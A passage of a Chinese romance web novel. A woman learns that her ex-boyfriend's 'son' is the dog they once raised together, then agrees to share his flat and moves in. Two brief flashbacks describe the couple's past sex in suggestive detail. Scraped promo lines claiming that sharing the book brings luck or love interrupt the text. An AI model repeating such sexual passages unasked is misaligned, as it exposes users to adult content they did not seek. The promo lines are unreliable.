殷绿把那热敷的中药拿出来,带容微月去沙发坐,“你以后离这人远点,太不靠谱了,当初就不该相信她。”
容微月点点头,抱起殷绿养的一只银渐层猫咪,殷绿帮她热敷着,还在感慨:“还得是傅蔺征,又是撑腰,又是揍人,一天之内达成两次英雄救美成就!我感觉他对你余情未了。”
容微月敛下神色:“你别乱说,他都说了是举手之劳,换做是之前认识的同学他也会帮忙的。”
“傅蔺征是很仗义,但帮忙和帮忙是不一样的,打电话的帮忙和冲过去为你揍人的帮忙能一样吗,你还说他恨你,哪家好人恨人是这样的啊。”
容微月失神,直至猫咪甩着尾巴蹭她手背,她继续给它喂小零食,垂眼道:“可能他当时说的是重话吧,但我们现在真的没什么关系。”
他们的圈子完全不同,以后除了工作也不会有太大的交集,甚至在工作上她都很难再接触到身为最顶层上司的他。
殷绿:“不管怎么样,好在违约金的事解决了,你就安心住我这儿,找到房子再搬,我可想和你住了。”
容微月含笑点头,说好羡慕她,这里好温馨,每天上班方便,还能养只宠物,这是她的理想生活了。
殷绿也很喜欢这里,“每天在学校累成狗,但是回到家就又活过来了,话说你真不考虑一下傅蔺征的房子啊?我看到今晚夏千棠还在发朋友圈呢,好像还没租出去,租金又降了点。”
“还没租出去?”
殷绿点开微信给她看,容微月又心动了,殷绿找夏千棠打探信息,对方说确实没人要,“关键是傅蔺征养了只狗放在家里,平时要租客帮忙照顾下,这要求有人不能接受。”
“他的狗很难养吗?”
“不难啊,喂狗狗吃饭,偶尔出门遛遛,定期洗澡等等,费用都是傅蔺征出,但好多人都嫌麻烦呢,不愿意。”
容微月听完,更加心动了。
她最喜欢狗狗了,一点都不怕麻烦的……
夏千棠也苦恼:“绿绿,你身边要是有人租房子也帮忙推销一下哈,傅蔺征说价格好商量,三年内不涨租不收房。”
“好嘞。”挂了电话,殷绿朝容微月歪头:“真不考虑?养狗狗耶!”
容微月痛苦纠结:“我、我再看看吧……”
她是很心动,可她和傅蔺征关系微妙,到时候扯上金钱关系,说不定会麻烦。
只是接下来的每一天,她每天都能看到夏千棠和夏斯礼在朋友圈发傅蔺征房子的出租信息。
就像在一只饥肠辘辘的小猫咪面前一直晃悠着小鱼干,勾得人心痒,太折磨了。
与此同时,中介小刘还是锲而不舍带她去看房,第二天她去看了一套二居室各方面都觉得还可以,她咬牙决定定下来,省得自己老是摇摆不定,也一直给殷绿添麻烦。
定了两天后签合同,晴月阁也竞选成功了《霜雪吟》的饰品制作,剧方发来签约时间,员工们都从舒槿那边听说了提案会发生的事,被老板的坚持感动,说这次一定努力做好饰品,把晴月阁的名声打出去。
下午,去签租房合同之前,容微月先去明恒集团签道具合作的合同。
她到达会议室,很快大门被推开,制片人、总导演、道具总监等领导走了进来,她起身和他们问好,他们看到她也很热情友善,导演问:“容小姐,您的腱鞘炎怎么样了?”
那天剧方也发来了医药赔偿,“谢谢导演挂心,好多了,现在每天都会热
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敷贴膏药。”
导演再次为那天的事道歉,“但也是借着那次加赛我们看到了容小姐对花丝镶嵌的热爱和坚持,深深被打动了,您一定要把伤养好,你的手可是价值千金啊。”
容微月含笑应下。
双方坐下,导演道:“再等等,还有人。”
一分钟后,会议室门被推开,容微月抬头,却是看到傅蔺征走了进来。
男人今天难得一身深灰色西装加身,贴身裁剪的布料衬得肩宽腿长,白衬衫松着两颗扣子,领口随意敞着,领带也懒得系,痞帅气质浑然天成。
不过即使是穿西装,斯文禁yu这词在她脑海里从来和傅蔺征挂不上钩。
毕竟她曾经可是见过他有多恐怖,侧的,怀中,趴着,还有被他抱起走着,绝对的体型差压制让他游刃有余,什么都玩过了。
最后她腰被垫起,长腿架在他肩上,感受到快开快合爆发的力量感,她都感觉自己像只小虾,要被他折断了。
没想到他会来这个小小的签约仪式,容微月不禁愣住。
男人在她对面坐下,目光先是落向她右手,随后到她一身深蓝色旗袍,细腰被布料掐得很细,皮肤白到发光,鼻尖挺翘,红唇水眸,像是勾人的布偶猫。
她懵然和他对视,傅蔺征偏眼滚了滚喉结,压下痒意,低磁开口:“开始吧。”
导演把合同递给她,说了基本流程:“我们傅总非常重视这一次合作,把合作金额从原来的350万提高到500万。”
容微月怔愣,她当初想争取合作都只能赚一成,但没想到预算被拔高了,这也意味着他们的利润也提高了。
傅蔺征道:“明恒的每一笔投资都不是浪费的,我希望出品更加精细,每一步都要符合我们的要求。”
“没问题。”
傅蔺征看着她:“你的手呢,规定时间能交初步的设计稿么,来不及别逞强,我等得起。”
她怔了怔,说这几天有在调理了:“好多了,能交稿。”
确认无误后,双方签下合同,大家吃起茶点闲聊,制片人对容微月笑道:“容小姐我对你早有耳闻,陈儒生教授托人给我举荐过你,还有你父亲也联系我,说你很优秀,他能为你作保。”
制片人说说容承业有跑来找他好几次,把容微月大学高中的作品拿给他看,说她是个很有天赋的孩子,希望他们多考虑她。
容微月呆住,当时他不是说绝对不会帮她吗……
“当然,我们真正被你打动是你提案会上的表现,让人敬佩,而且年轻人愿意传承非遗,很不容易。”
她莞尔:“希望通过这部电视剧,也能让更多人知道花丝镶嵌。”
“是的,这也是我们的心愿。”
结束后,大家走出会议室,傅蔺征手机响起,他接起电话:“嗯,游完泳了是吧,你抱来车场,零食在我办公室柜子里……”
挂了电话,制片人看到傅蔺征收到的照片:“呦,你儿子啊,好萌啊。”
傅蔺征淡淡勾唇应了声,制片人笑:“之前看你抱来过,太可爱了……”
走在后方的容微月呆住。
什么……儿子??
傅蔺征他有儿子了?!
他什么时候有的孩子,他结婚了吗??不可能吧,怎么之前没听人提起过……
其余领导上楼,她和总导演还有傅蔺征三人,一起乘坐下行的电梯。
总导演刚刚也听到了那话,难以置信地看向傅蔺征:“傅总,没想到您都有儿子了啊?”
傅蔺征神色淡淡:“怎么,很不正常?”
“正常啊!就是都没听人提起过,你这外形条件,一看就是很多女孩子喜欢,年轻人有时候遇到喜欢的,结婚也很早的,”他随意找人附和,“容小姐你说是吧?”
容微月机械点头,总导演感慨:“傅总,您年纪轻轻事业爱情双丰收,太让人羡慕了,祝您和您太太感情恩爱,一家幸福。”
傅蔺征吊起眉梢:“谢谢啊,借你吉言。”
容微月呆住。
他没有否认……所以是真的吗……
容微月脑袋嗡嗡,感觉之前所有的胡思乱都像个笑话,他早就结婚了,他太太是什么样的人呢……
她捏着文件,心头不受控冒出莫名苦涩,看着电梯下降的层数,只想飞快逃离,导演还在问:“对了,傅总,有没有你儿子照片看看啊?刚刚宋制片说很可爱啊。”
傅蔺征懒笑:“可爱是可爱,就是随他妈,太挑食了,难养。”
他把手机递来,正好在容微月视野范围内,她眼睫轻颤,不想看又忍不住,谁知瞥了眼,突然呆住——
屏幕里竟然是一只小狗。
一只白色的马尔济斯小狗。
耳朵毛带着点棕色,眼睛黑溜溜大大的,正趴在一个骨头玩偶上,像团毛茸茸的棉花。
有点像……
他们高中毕业一起养的那只小狗。
容微月:???
导演也傻了:“傅总,您说的儿子是小狗啊?”
傅蔺征懒洋洋锁上手机屏幕,“是啊,养它好几年了,感情挺好,就是它妈特别无情,六年前就抛夫弃子了,留下我俩相依为命。”
容微月懵了,傅蔺征微俯身对上她懵然的视线,悠悠然问:
“容小姐,你说,这样的人过不过分啊?”
容微月:“……”
12.第十二章
chapter 12
容微月小时候经常和祖母生活在一起,那时祖母家养了一只小比熊,她超级喜欢,每天负责它的吃喝拉撒,带着它出门遛弯,去看巷子里的大爷下象棋,或是抱着它坐在四合院的柿子树下乘凉,连睡觉都要一起。
后来小比熊去世了,她难过了好一阵,弟弟出生后,他对狗毛过敏,家里就没再养狗了。
直至高考后,有天傅蔺征带她去了一家狗舍,说给她的毕业惊喜就是这个:“你不是喜欢小狗,我们一起养一只,我陪着你把它慢慢养大,嗯?”
容微月满心欢喜,一眼就看中了一只白色的马尔济斯弟弟,才两个月的小不点,通身雪白,只有耳朵上带有淡淡棕色,一双没有泪痕的黑宝石眼睛闪闪发光,一抱着就往她怀里蹭。
她心都化了,盈盈弯眉看向傅蔺征:“它好可爱啊……”
傅蔺征笑了,“那我们就养它。”
狗狗被接回傅蔺征的公寓安顿好,她发现还没有给它取名,傅蔺征看了眼趴在地毯上呆呆地四处打量的小鼻嘎,揶揄:“和你一样傻呼呼的,就叫‘呼呼’吧。”
容微月跑去打他说自己才不傻,傅蔺征笑着把她拉进怀中,“我家月月最笨了。”
她傲娇道:“算了,呼呼就呼呼吧,还挺可爱的,主要是跟你比较像……”
后来分手,她去杭市读书,把狗狗留在了傅蔺征身边,就再没见过。
此刻容微月一脸懵地走出电梯,到达地下停车场,导演先离开,她忍不住找傅蔺征确认:
“照片里的那只狗……是呼呼吗?”
傅蔺征低头看了她眼,眉梢抬起:“呦,难得,你还记得啊。”
这话讥讽意味明显,她脸颊微热:“耳朵很像,一眼就认出来了,我以为……”
“以为什么。”
“以为……你后来送给别人养了。”
她以为分手后他讨厌她,连带着这只承载他们共同记忆的狗狗,也不会留在身边。
傅蔺征轻笑睨她:“那祖宗别人能养得来?老子一把屎一把尿把它拉扯大,不像某人没良心,重逢这么久了问也不问一句。”
“……”
容微月莫名真有种“抛弃孩子”的愧疚感,主要是重逢后她没找到合适的机会问,也觉得自己没资格问。
“那呼呼现在还好吗?”
“怎么不好,吃得好睡得香,一回到家就黏人地贴过来,陪它玩俩小时都不带累的,一把年纪了体力还很旺盛,就是平时缺乏教育,比我还难伺候,公子哥脾气贼大。”
她想象着,眼底不禁浅浅弯起笑意:“所以棠棠朋友圈里提到你要出租的房子,需要帮忙照顾的狗狗就是呼呼?”
傅蔺征悠然看她:“容微月,你这么关注我的事啊?”
她心虚:“没有,我就刚好刷到的……”
走到超跑旁,傅蔺征按下车钥匙:“我经常要去外地训练比赛,不在家,呼呼跟我在外面也不适应,原本照顾他的助理小哥辞职了,还没找到新人。”
所以他房子还是没租出去吗?
傅蔺征淡淡道:“算了,找不到人就寄养宠物店呗,反正这么多年没娘疼没娘爱的,跟着我都习惯了,它也挺坚强。”
“……”
她心头摇曳,纠结地攥紧文件,傅蔺征上车启动车子,她想到什么跑过去:“对了,呼呼的照片能不能发给我一下?好可爱,我也想收藏。”
“不给。”
他懒声道:“想收藏以后自己去拍。”
“……”
傅蔺征踩下油门,一溜烟就走了。
容微月郁闷回到自己车上,和殷绿说了这件事,对方大笑:“这就像你和傅蔺征生了个娃,后来你俩离婚,娃归他,你去外地闯荡多年后回来,想见娃一面,可他爸冷血得完全不同意,你心里那叫一个苦啊。”
殷绿笑:“所以你要不要去租傅蔺征的房子,可以陪陪儿子,弥补弥补当妈的责任?”
容微月忽视她这奇葩比喻,心头闷闷:“我和中介约了,等会儿要去签约,我找到了其他房子。”
“你慎重考虑啊,别后悔。”
很快中介弹来消息,说五点在小区门口等她。
一路上,容微月脑中有两个小人在打架,心绪缭乱,愈发纠结。
到了小区,小刘委婉和她说,她原本想租的那套房子房东今早签给别人了,但是他在同小区找了另外一个差不多的房源,也带她去看看。
“你怎么才告诉我?”
小刘赔罪笑:“姐,面积差不多,我想着你先过来看看,说不定更满意呢,而且定下来今天也能签约。”
容微月只好先和他上楼,房东在门口等着,是个看过去五大三粗有点凶神恶煞的大汉,让人害怕,房间里装修挺新,但布局不合理,而且就在二楼,阳台外被树挡着了采光,卧室外就是马路,有些吵。
房东说家具是新的,所以每个月要加两百,小刘说多加两百不贵,已经很划算,过了这村就没这店了。
房东看她没说话,吐了口烟,不耐烦道;“小姑娘你到底要不要,我这价格够便宜的了,你不要我给别人了,考虑好现在就签约。”
合同递来,跟赶鸭子上架般。
对上中介急盼的目光,末了容微月站起身:“不好意思,我不租了,我再看看。”
到楼下,小刘追上来,她揉着手腕淡声说:“刘哥,今天换房的事你先斩后奏,对方还临时涨租坐地起价,我觉得很不舒服,生意不是这样做的。”
小刘就想做成她这单拿到中介费,刚才一直偏帮着房东说话,跟着疯狂催她。
小刘尴尬:“还有另外一套……”
“先不看了,谢谢。”
……
最后,容微月开车回了殷绿家。
她先给猫咪喂了猫粮,而后去打扫卫生,迟些时候殷绿回来,看到家里焕然一新,抱住容微月:“妈呀,田螺姑娘啊!宝你手腱鞘炎好了没就干活?”
容微月笑:“没事儿,就简单收拾下。”
“啊啊啊你竟然买了北京烤鸭和酱爆肚!太爱你了!”
“本来我以为你今晚要和男朋友吃饭,还好提前问问你。”
“他说今晚加班又放我鸽子,才不管他,闺蜜局更香。”
殷绿去洗手,容微月拿碗筷:“下午我和《霜雪吟》的合同正式签了,和你庆祝一下。”
“恭喜啊,”殷绿拿了酒和杯子出来,“咱们必须小酌两杯。”
两人高兴碰杯,殷绿问:“对了你下午房子签约了吗?定下来啦?”
“没定,不满意。”
容微月提及傍晚的事,殷绿说庆幸她没签,不然再遇到赵鑫那样的房东,又是个坑。
吃着饭,两人去阳台喝酒,殷绿感慨:“要不再考虑考虑傅蔺征那房子,你说你放着个好房子不租干嘛,而且你不想要照顾呼呼了吗?”
容微月抱着猫咪,咕哝:“我想啊,可是他不会答应的。”
“为什么?”
“因为我想要一张呼呼的照片,他都不给我,”容微月红扑扑的脸靠着膝盖,委屈瘪嘴,“傅蔺征好小气啊,连一张照片都不让我拥有,他肯定不会同意我来养呼呼的。”
“好气啊,我们能不能把狗偷来,我们俩养!”
“那我去准备一个麻袋,我们今晚就去撬他家的门。”
两人对视不禁傻笑起来,殷绿正经道:“与其你在这里纠结,不如直接去问问,不同意就算了,你喜欢什么就该去争取,不将就。”
殷绿给她形容着:“你想想,住在那么漂亮的房子里,每天早你被透过落地窗投进的阳光唤醒,呼呼就趴在你脚边,你醒来边吃早餐边去花园浇花,出门开车五分钟就到工作室,晚上回到家还能窝在大大的客厅看电影,下楼就可以逛公园,再走几步就是大商场,这日子不香吗?关键是房租还不贵!”
容微月幻想着,脑中不禁冒出梦幻泡泡,殷绿说现在租房都是坑,但是傅蔺征那样有钱的大少爷不缺那三瓜俩枣,至少不会扣她违约金,总比其他人更让她有安全感。
容微月纠结良久,终于鼓起勇气;
“好,我现在就去联系棠棠。”
殷绿激动点头,容微月立刻去问,夏千棠说需要租房要直接联系傅蔺征:“我听说今晚有人去看傅蔺征的房子了,微月你要是想要,赶紧去联系呀。”
她喝着酒,听到这话,一股控制不住的冲动被酒精催逼,在她心底不断发酵。
和殷绿说了声,她走去一旁,找到傅蔺征的号码,犹豫几秒拨去。
十几秒后,那头接起。
她垂眸握紧栏杆,开口:“傅蔺征,我是容微月。”
那头懒洋洋的声音传来:“有事?”
“那个……你在禾盛庭的房子,租出去了吗?”
夜幕深沉,另一头,霓虹灯火给空荡荡的大平层洒入星光,傅蔺征独自坐在沙发上,摸着趴在他腿上睡觉的呼呼,闻言垂眸无声勾唇。
他吊儿郎当开口:“有人在看房,满意就签约了吧,怎么。”
容微月心慌忙道:“你能考虑一下我吗?如果还没签约的话。”
通话里安静了几秒。
“哦?”
傅蔺征吊起眉梢:“怎么,你也想租?”
“嗯,我工作室在附近,前两周我就看到夏千棠的朋友圈了。”
傅蔺征修长的指尖散漫地勾了勾呼呼的下巴,故作恍然应了声:“看不出来,你觊觎我……的房子这么久了。”
“……”
容微月脑袋醉乎乎的,话一股脑倒出来:“傅蔺征,我觉得租房子是房东和租客双向选择的过程,我们双方都得考察对方,都得看对眼,你说是不是?”
他笑,“容微月,你这是找我租房还是和我相亲啊?”
“不是……”她脸颊发烫,“我的意思是我挺靠谱的,第一,我讲卫生,我一定会保护好你家里的贵价家具,第二我心地善良,我一定会帮你照顾好呼呼,第三……第三我讲信用,绝对不会拖欠房租。”
傅蔺征眼底漫开笑意:“还一二三呢,看不出来你还挺会自卖自夸。”
“……”
她绞尽脑汁说服他:“傅蔺征,我是说认真的,我再给你举例,第四,第四……”
“我答应你。”
他低磁的嗓音传来。
容微月微怔,傅蔺征攥着手机,垂眼滚了滚喉结,道:“不需要一二三四,这就是我的答案。”
-
翌日,白日升起。
早上八点多,闹钟声响起,唤醒床上的人。
容微月翻了个身,酒精的麻痹感退散,只剩脑袋隐隐作痛。
第三次关掉闹钟,她迷迷糊糊坐起身,无奈自己的酒量怎么差,喝了一点就醉了。
她拿起手机,看到一条信息:
【上午十点,禾盛庭B区3号楼3401,别迟到。】
禾盛庭……
一瞬间,关于昨晚零碎的回忆扑面而来。
她好像和傅蔺征打电话说要他租房子?!
她忙下床往外走,殷绿正在外头改教案,懵然问她,殷绿笑:“对啊,你昨晚自己给傅蔺征打电话,你都忘了?”
“我大概怎么说的啊……”
“你说,租房子双方都得考察对方,都得看对眼,你说你就特别好,还列
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举了好几点,让他一定要考虑你。”
容微月整张脸炸红。
她都说了什么乱七八糟的啊……
关键是傅蔺征怎么就这样被说服了……
她洗漱完,忐忑地给傅蔺征打去电话,那头接通,她怂得声音很轻:“傅蔺征,你这房子,确定已经租给我了吗?”
“什么意思。”
“抱歉我昨晚喝酒了,一时有点冲动……”
那头吊儿郎当应了声:“所以你是想告诉我,昨晚我听你言辞恳切、据理力争了五分钟,还为此拒绝了另外一个租客,是你喝醉酒造成的错误?”
他笑了,“酒醒了?你又不要了?”
“……”
感觉他骂人的话已经在嘴边了。
她也太不道德了。
她动了动唇,道:“没有,我要的,那十点见。”
容微月立刻驱车前往禾盛庭。
微风几许拂面,头顶乌云尽散,云销雨霁,终于迎来了蓝天万里。
一路,她心里的期待超过忐忑。
一开始她是觉得尴尬,但是现在她庆幸自己勇敢了一把。
到傅蔺征给的地址门口,容微月深呼吸了下,摁下门铃。
几秒后大门打开,傅蔺征的面容引入眼前。
一身灰色卫衣黑色工装裤,极高的个子带着压迫感而来,肌肉线条在衣服下若隐若现,眼下微青,那颗黑痣慵懒又随性。
他昨晚在这里睡的?
容微月懵得打招呼,他手插兜转身走进去,倒是挺随意:“拖鞋在门口鞋柜第二层,自己拿。”
“好。”
她打开鞋柜,发现是双淡米色的女士毛绒拖鞋,她愣了愣,压下心绪穿上。
往里走,“呼呼呢?”
“一来就觊觎我的狗?”
她微窘,他道:“早上被助理抱去体检了,不在家。”
好可惜……
看到她失落的表情,傅蔺征轻笑。
得,还得是狗。
“放心,还怕接下来看不到?”
她点点头,傅蔺征走去按下落地窗窗帘按钮,窗帘打开,阳光仿佛照射进一个宝石里,她被室外高楼大平层的开阔景色震撼。
远处眺望是连绵不绝的山景,西面是公园,再远些还能看到她工作室所在的文化创意园区,东面就是繁华的生活区和商场,这里如登高望远,将周围尽收眼底。
“外面景色好好。”
傅蔺征靠着水吧吧台,目光落向她,“凑合吧,晚上夜景更美,这附近经常有烟花秀。”
客厅宽敞,柔软的米白色沙发前铺着大片地毯,角落的狗窝旁还有各样玩具,中岛台后是个开放式厨房,再往里走,是几间起居室、健身房、影音厅,阳台有恒温游泳池和花园,私人酒室……
等等,这些怎么没有在朋友圈看到?
容微月托了托鼻梁上的细边眼镜,呆住:“朋友圈里不是说你这个房子一百平吗?”
傅蔺征:“三百二十平,哪里的一百平?”
她慌了:“这太大了,我租不起。”
“这些你不使用就不扣费,房租还是那样,你紧张什么?”他一脸淡定。
啊……这对吗?
好半天才逛了一圈,他问她有什么问题,她摇摇头,这里简直是梦中情房了。
路过主卧,她无意间瞥到衣帽间放着男士衣物,疑惑:“你最近都住在这里吗?”
“是啊。”
“那我搬进来的话,你大概什么时候可以搬走?”她怕他误会了,补充道,“就是我好安排一下搬家的时间,你东西也可以放在这里,门锁上就行。”
傅蔺征倚着墙,垂眼看她,几秒后扔下几字:
“谁说我要搬走了?”
容微月:?
男人高大的身影投下阴翳,拽懒道:
“我接下来暂时还会住在这里,怎么,你租我房子,我这个主人还要被你赶出去?”
容微月:???
她脑中空白,“可是之前不是说的整租吗?而且你市区不是有很多房子?”
“新的训练车场在附近,我要训练。”
他理直气壮:“而且我怎么放心把呼呼随便交给其他人养?我肯定要监督。”
容微月懵了,傅蔺征轻嗤:“我经常要去训练,不在家,就算我在家,这房子这么大,我喊一声你估计都听不到,一周能碰到几次,你介意什么?”
她脑中一团乱麻:“主要是我不知道对外怎么解释,万一别人误会我们同居了……”
“和我住一起,你要发朋友圈炫耀?”
???
“啊?没有啊……”
“你不说,那能去哪儿外传?”
傅蔺征笑了:“还是你在怕什么?怕我对你图谋不轨?还是怕你自己再度对我动心?”
她眼睫轻颤,垂眸:“当然,都不是。”
这两个都毫无可能性。
她考虑了几秒,到底还是房子的诱惑战胜了理智,出声:“那好吧,我能接受。”
“合同准备好了,现在就签约吧。”
他直接道。
被他带去餐厅,容微月脑中乱乱的,越想越不对劲:“为什么之前从来没有听棠棠说,你也住在这里呢?只说让人帮忙照顾狗狗。”
“我交代了,谁知道她有没有告诉你。”
“是吗……”
傅蔺征闻言走近几步,容微月心跳微乱,后退靠着墙面,就被他困在怀中。
男人俯身,黑眸单单倒映她,拖腔带调反问:
“容微月,你不会认为,我让别人发朋友圈,是千方百计想和你同居吧?”
第 13 章 被困住她忍不住娇哼...
第13章第十三章
【被困住她忍不住娇哼】
chapter13
傅蔺征悠然的反问落下容微月对上他炽热却又坦荡的目光反应过来这猜想实在太过荒唐。
也是他把房子租给她都破天荒了怎么可能是想要和她一起住呢……
容微月摇头傅蔺征语气散漫桀骜:“你要担心什么就算了不勉强我去联系昨晚那个租客反正今天也能签约人家特别满意。”
她忙道:“不我租的。”
现在她真舍不得把房子拱手让人了。
傅蔺征舌尖抵了抵下颚转身压平唇角弧度丢下一句:“行吧那就过来签字。”
两人在餐桌前坐下容微月问:“我可以把租房合同拍给我律师看看吗?”
傅蔺征轻笑了声“怎么怕我坑你?”
“不是……”
之前工作室刚成立时她遇到过鸡贼的甲方
听到他的话她突然有点心虚觉自己有点“以小人之心度君子之腹”他好像也不缺她这点钱。
她尴尬了下试图解释却见傅蔺征却也没生气的样子把合同拿来无所谓道:“拍呗随意。”
她轻轻应了声翻开后拍过去再认真一看那些条例——
合约期间租金不变;甲方傅蔺征承诺乙方容微月在居住期间房产绝无出售计划;房子如出现家具电器损坏由甲方第一时间维修并承担全部维修责任乙方无须额外支出。
除此之外还有一条乙方如遇不可抗力原因需提前退租友好协商后甲方可不追究责任配合无责解约。
容微月呆住。
这合同也太有安全感了。
她之前在赵鑫那边遇到的问题仿佛在他这里都不是问题……
那头律师发来信息:【完全没问题你确定这个房东甲方乙方没搞错吗?感觉你像房东似的[笑哭]】
容微月心河掀起涟漪。
不过傅蔺征应该也不是对她这么好吧他向来阔气可能并不在乎这点小钱……
她看向对面的人:“合同没问题那水电费和物业费我们怎么分配?”
“这些不需要你出。”
“那不行我该付的得付……”
看她那丝毫不想欠他的样子傅蔺征轻嗤:“就你住个房间一个月能花多少电?大多数空间都是我的我有钱不缺你这仨瓜俩枣的。”
“你不缺钱……那为什么还要租房子?”
“……”
男人不自然地清了清嗓子:“我说的是不缺这几百块就当抵消了你平时帮忙照顾呼呼的费用。
听说看这本书的人都是很幸运的,分享后你的运气会更棒
”
“那……好吧。”
她也不知道该怎么算,先欠着他吧。
确认无误后两人签了约,容微月想到什么:“之前我以为是租房,那现在变成了同居……同住,那我想再补充几条同住合约可以吗?”
傅蔺征指尖转着黑笔,抬眼看她,轻啧:“好心收留你,事儿还挺多。”
“……”
什么叫收留……
他让她提吧,她淡声道:“最基本的,互不侵犯对方私人空间,未经允许不进入对方卧室。”
傅蔺征笑:“你让外人看看,我这颜值摆在这儿,是谁更容易对谁图谋不轨?”
“……”
她附和他的臭屁:“是,所以你要保护好你自己,然后晚上十一点半后禁止喧哗吵闹可以吗,我被吵醒就很难再入睡,我最近失眠挺久了。”
傅蔺征看着她,眼底蔓延开不知名的情绪,几秒后缓声开口:“知道。”
她继续说:“然后我带朋友来会征得你同意,你要带人来麻烦也提前通知我下,避免误会我会避开。”
他眯了眯眼,“避免误会?比如什么人?”
容微月想到脚上那双女士拖鞋,神色顿了顿,低头摩挲腕口的月亮疤痕:“你带谁回来这个是你的事情,只是让你提前跟我讲一下。”
他扯起唇角:“行,我一定提前一年通知你。”
“……”她没什么想法了,“然后照顾呼呼有什么需要注意的吗?”
傅蔺征说他列了个食物清单,“每天给它喂的食物要拍给我看,晚上如果加班提前说,我回来给它喂饭,家里够大够它跑,但有空尽量带它出去遛遛,一开始我要陪同。”
“好,”她抿了抿唇,“那我加你微信吧?你把清单给我,我把房租转给你。”
傅蔺征靠向椅背,懒洋洋点开微信二维码,把手机往她桌前一推。
她顿了顿,抬手扫码。
曾经她删了他,谁曾想六年后又加回来了……
她发现他还是之前的,昵称是“F.”,而头像是呼呼。
照片像是傅蔺征随意拿起手机的抓拍,镜头里白绒绒的小团子趴在穿着黑色赛车服的他胸膛上,男人宽大的手掌搂住他,手背青筋蔓延,骨骼分明,尾指戴着潮汐戒指,莫名透着性感的冷欲。
成为好友后,傅蔺征发来清单,容微月点击保存,说要回去收拾行李了,走去玄关处,她问:“那我今天就搬过来吗?”
傅蔺征倚着墙,“不然你等到什么时候?反正合同从今儿开始算。”
“那我来的时候给你打电话。”
她走出去,关上了门。
傅蔺征垂眼看着那双女士拖鞋,深沉黑眸一点点化开雪色,良久
你身边有不少朋友还没看到本章呢,快去给他们剧透吧
后立直身子,慢悠悠转身往里走。
-
容微月开车回了殷绿家。
中途中介小刘又给她弹了信息,说给她找了其他房子,她发了笔辛苦费过去,表明情况说不用了。
她打包了饭回到家,殷绿刚忙完,得知早晨的事,激动地嗷嗷叫:
“所以你要和傅蔺征同居?!”
“我以为是他把房子租给你,原来是和你一起住啊!天哪这人不会是故意的吧!”
容微月让她别乱说:“应该是我没和千棠聊清楚,但他房子真的很好,我实在心动就答应了。”
“答应挺好啊!那你俩以后同住一个屋檐下,低头不见抬头见,擦qiang走火,旧情复燃也不是没可能啊嘿嘿嘿。”
容微月无语地给她夹了块糖醋里脊,“你吃你的吧。”
饭后,殷绿帮容微月收拾行李,还是不舍:“也太着急了,我还没和你住够呢。”
“我总不能老霸占你吧,”容微月笑了笑,“今晚你男朋友来找你,我不打扰你们二人世界。”
殷绿怔了怔,托腮:“没有啦,我和他又没有那个。”
殷绿和男朋友在一起没多久,对方是挺想和她进一步,但她觉得还没完全了解,就没答应,为此对方还挺不开心的。
殷绿八卦:“我听说,第一次有人觉得很痛,有人又说很舒服,诶,你当初和傅蔺征是什么感觉啊?”
容微月坐在地毯上整理行李,闻言动作一顿,窘然道:“那么久了谁还记得。”
殷绿坏笑:“傅蔺征那体格,那肌肉,一看过去腰腹力量就很强,你不知道网上好多人都馋他身子,还有他鼻子也很挺,都是鼻子挺是代表那个大……”
殷绿说起来毫不顾忌,容微月都想打她,殷绿追问到底感觉如何,容微月脸颊微热,轻声道:“就……他技术挺好的。”
她还记得有晚傅蔺征陪她看电影,看了会儿就把她面对面抱在怀中,捣着椰奶酱,后来她gui在地毯的抱枕上,趴在茶几上,傅蔺征让她像小猫伸懒腰,为她俯首shou称臣,哄她哭出来后,又被他笼罩上来咬耳朵。
那晚她十几次后直接哑到没声音,傅蔺征硬件过于天赋异禀,加上远超正常时间,她喜欢是喜欢,但真的要坏了……
殷绿挑眉:“我感觉你们俩就是对对方有生理性喜欢,这次住过去了,你有机会再感受一下。”
容微月把抱枕扔了过去,殷绿笑个不停。
晚上八点多,容微月收拾好全部行李,和殷绿道别,去往禾盛庭。
快到时,她给傅蔺征发信息,谁知开到地下车库,就看到男人从电梯口走来,神色慵懒。
她停好车下来,
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
“你怎么在这儿……
“刚好下来丢个快递箱,行李有多少。
“一个行李箱,还有三个纸箱。
容微月打开车后备箱,傅蔺征把快递箱给她,声音懒而淡:“帮我丢下,然后在这里等我,我先拿上去一趟。
“没事,剩下的我来拿就好。
“你拿什么,腱鞘炎不想好了?
她咕哝了声,男人拿着行李就去电梯口了,没多久后他下来,接过剩下的行李,她只能空着手跟他上去。
到家门口,他把口袋里的东西给她:“房子钥匙,就两把,给你一把。
她呆住:“你家不用密码锁吗?
“就这么朴素,不行?
“……行。
傅蔺征懒懒道:“懒得换,先凑合吧。
打开门,他推着行李走进去,叫了声呼呼,容微月就看到客厅里正自娱自乐的白色团子闻声立刻哒哒哒跑了过来,摇着尾巴绕着傅蔺征脚边转圈。
傅蔺征摸摸它:“看看,谁来了。
因为马尔济斯是小型犬,呼呼长大了还是看过去小小一只,今天穿了件小狗熊衣服,跑起来时耳朵跟扇子似的一扑一扑,可爱极了。
六年不见它了。
她眼底微润,弯起唇畔朝它走去:
“呼呼,好久不见啊。
然而小家伙扬起脑袋,看到她这个对它来说早已陌生的人,低低咕噜几声,随后吓得躲到傅蔺征腿后压低尾巴,只探头露出一双眼睛打量着她。
她怔了下,想摸它,小团子朝她叫了两声,耳朵戒备竖起。
傅蔺征拧眉,把它抓起来:“叫什么叫?人都不认得了?
他把行李推进去,容微月跟着他走去客厅,傅蔺征拿起一个**球给她:“可能一开始有点认生,你拿玩具逗逗它。
容微月接过,朝它摇一摇:“呼呼,要不要过来玩?
她把玩具一个个丢出去,可小团子都没有捡,仍旧缩在三米外的沙发腿旁边,眨巴着黑葡萄似的眼睛,戒备地看着她。
这该怎么办……
傅蔺征看到她不知所措又有点失落的表情,黑着脸走去呼呼那儿:“躲什么,过来。
傅蔺征抱了起来,撸了两下顺**,见它乖巧了,递给容微月:“你抱抱它。
容微月小心翼翼接过,可是刚抱没两秒,小家伙就从她怀中挣扎着跳下去,跑走了。
她呆住,就看到傅蔺征走去厨房把它抓住,数落教育的声音依稀传来:
“几个意思,非要拆我台是吧,连你亲妈都不认得了?
“当初要不是你妈挑中了你给你领回家的,你能有这么滋润的狗生?白把你养大了,能不能有点孝心……
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
”
容微月耳根微热过了会儿傅蔺征教育完“孽子”回来她忙说:“没关系呼呼太久没见我了认生很正常。”
傅蔺征让她别多想“这家伙很鬼机灵一开始装冷漠离你远远的其实是喜欢你偷偷观察你过几天就会扑上来粘你了我就没见过这么狗的狗。”
她不忍发笑:“那确实……挺狗的。”
